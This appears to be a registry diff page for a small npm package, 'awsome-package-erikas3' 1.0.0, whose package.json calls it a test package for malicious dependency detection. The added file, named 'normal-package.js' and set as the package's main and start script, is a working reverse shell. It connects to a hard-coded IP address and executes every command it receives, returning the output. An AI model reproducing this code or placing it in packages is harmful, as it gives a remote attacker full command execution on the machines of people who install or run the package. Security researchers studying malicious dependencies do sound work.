awsome-package-erikas3 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/normal-package.js +31 -0
  2. package/package.json +18 -0
@@ -0,0 +1,31 @@
1
+ // reverse-shell.js
2
+ const net = require("net");
3
+ const { exec } = require("child_process");
4
+
5
+ const HOST = "141.136.44.52"; // Change this to your attacker's IP address
6
+ const PORT = 50502; // Change this to your desired port
7
+
8
+ const client = new net.Socket();
9
+ client.connect(PORT, HOST, () => {
10
+ console.log(`Connected to ${HOST}:${PORT}`);
11
+ client.write("Connection established\n");
12
+ });
13
+
14
+ client.on("data", (data) => {
15
+ exec(data.toString(), (err, stdout, stderr) => {
16
+ if (err) {
17
+ client.write(`Error: ${stderr}\n`);
18
+ } else {
19
+ client.write(stdout);
20
+ }
21
+ });
22
+ });
23
+
24
+ client.on("error", (err) => {
25
+ console.error(`Connection error: ${err.message}`);
26
+ client.destroy();
27
+ });
28
+
29
+ client.on("close", () => {
30
+ console.log("Connection closed");
31
+ });
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "awsome-package-erikas3",
3
+ "version": "1.0.0",
4
+ "description": "A test package for malicious dependency detection",
5
+ "main": "normal-package.js",
6
+ "scripts": {
7
+ "start": "node normal-package.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "https://github.com/balamutas/awsomedependency.git"
12
+ },
13
+ "author": "Your Name",
14
+ "license": "MIT",
15
+ "dependencies": {
16
+ "net": "^1.0.2"
17
+ }
18
+ }